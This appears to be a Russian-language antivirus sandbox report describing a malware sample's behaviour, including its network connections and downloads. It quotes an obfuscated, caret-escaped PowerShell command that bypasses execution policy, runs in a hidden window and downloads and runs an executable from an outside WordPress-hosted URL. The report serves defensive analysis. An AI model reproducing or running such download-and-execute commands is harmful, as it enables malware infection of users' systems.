Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://aamd.com/wp-content/plugins/acismittor/0dgrhpzx/yl33kcob.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^OWe^r^s^hE^L^L.Exe^ -exe^C^utioNPO^lI^cY bypaS^S^ -^NoPrOFILE ^-WInd^ow^stY^l^E^ hI^D^d^e^N^ (^new^-obJec^T SYs^tEm^.^nEt.^W^E^B^c^LI^eNT).^do^wn^lOA^df^il^E^('http://aamd.com/wp-...
Сетевая активность
Подключается к
- 'aa##.com':80
TCP
Запросы HTTP GET
- http://aa##.com/wp-content/plugins/acismittor/0DGRhPzx/yL33KCoB.exe
UDP
- DNS ASK aa##.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^OWe^r^s^hE^L^L.Exe^ -exe^C^utioNPO^lI^cY bypaS^S^ -^NoPrOFILE ^-WInd^ow^stY^l^E^ hI^D^d^e^N^ (^new^-obJec^T SYs^tEm^.^nEt.^W^E^B^c^LI^eNT).^do^wn^lOA^df^il^E^('http://aamd.com/wp-...' (со скрытым окном)
